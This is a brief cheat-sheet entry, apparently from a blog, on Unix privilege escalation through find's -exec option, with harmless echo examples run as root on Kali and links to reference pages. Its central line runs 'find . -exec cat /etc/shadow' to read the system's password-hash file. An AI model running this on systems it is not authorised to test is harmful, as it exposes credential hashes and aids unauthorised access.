Unix Privilege Escalation via Find's Exec Command Option
Unix Privilege Escalation via Find's Exec Command Option
find . -exec cat /etc/shadow \;
Other Examples:
root@kali:~/# find . -exec echo hi \;
hi
hi
hi
hi
hi
root@kali:~/# find . -exec echo hi {} \;
hi .
hi ./.gitignore
hi ./phantomjs
hi ./jquery-1.11.3.min.js
hi ./dismissauth.xpi
root@kali:~/Tools/EyeWitness-master/bin#
Inspired by:
http://unix.stackexchange.com/questions/12902/how-to-run-find-exec
http://man7.org/linux/man-pages/man1/find.1.html